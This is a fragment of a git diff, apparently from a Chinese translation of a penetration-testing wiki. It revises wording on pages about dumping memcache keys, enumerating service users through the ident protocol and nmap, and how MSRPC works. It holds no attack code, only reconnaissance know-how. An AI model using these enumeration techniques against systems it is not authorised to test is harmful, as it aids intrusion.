|
||||
[...]
|
||||
END
|
||||
```
|
||||
这至少有助于查看是否使用了任何密钥。要从已经进行 memcache 访问的 PHP 脚本中转储密钥名称,可以使用来自 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) 的 PHP 代码。
|
||||
这至少有助于查看是否使用了任何密钥。要从已经进行 memcache 访问的 PHP 脚本中转储密钥名称,可以使用来自 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html) 的 PHP 代码。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -17,11 +17,11 @@ PORT STATE SERVICE
|
||||
|
||||
### **手动 - 获取用户/识别服务**
|
||||
|
||||
如果一台机器正在运行服务 ident 和 samba (445),并且你通过端口 43218 连接到 samba。你可以通过以下方式获取运行 samba 服务的用户:
|
||||
如果一台机器正在运行服务 ident 和 samba (445),并且你通过端口 43218 连接到 samba。你可以通过以下方式获取正在运行 samba 服务的用户:
|
||||
|
||||
.png>)
|
||||
|
||||
如果你在连接到服务时直接按回车:
|
||||
如果你在连接到服务时只按回车:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -31,7 +31,7 @@ PORT STATE SERVICE
|
||||
|
||||
### Nmap
|
||||
|
||||
默认情况下(\`-sC\`\`),nmap 将识别每个运行端口的每个用户:
|
||||
默认情况下(\`-sC\`),nmap 将识别每个运行端口的每个用户:
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
|
||||
|
||||
@ -12,7 +12,7 @@ RPC 端点映射器可以通过 TCP 和 UDP 端口 135 访问,SMB 在 TCP 139
|
||||
```
|
||||
## MSRPC是如何工作的?
|
||||
|
||||
由客户端应用程序发起,MSRPC过程涉及调用本地存根过程,然后与客户端运行时库交互,以准备并传输请求到服务器。这包括将参数转换为标准网络数据表示格式。如果服务器是远程的,传输协议的选择由运行时库决定,确保RPC通过网络栈传递。
|
||||
由客户端应用程序发起,MSRPC过程涉及调用本地存根过程,然后与客户端运行时库交互,以准备并将请求传输到服务器。这包括将参数转换为标准网络数据表示格式。如果服务器是远程的,传输协议的选择由运行时库决定,确保RPC通过网络栈传递。
|
||||
|
||||

|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user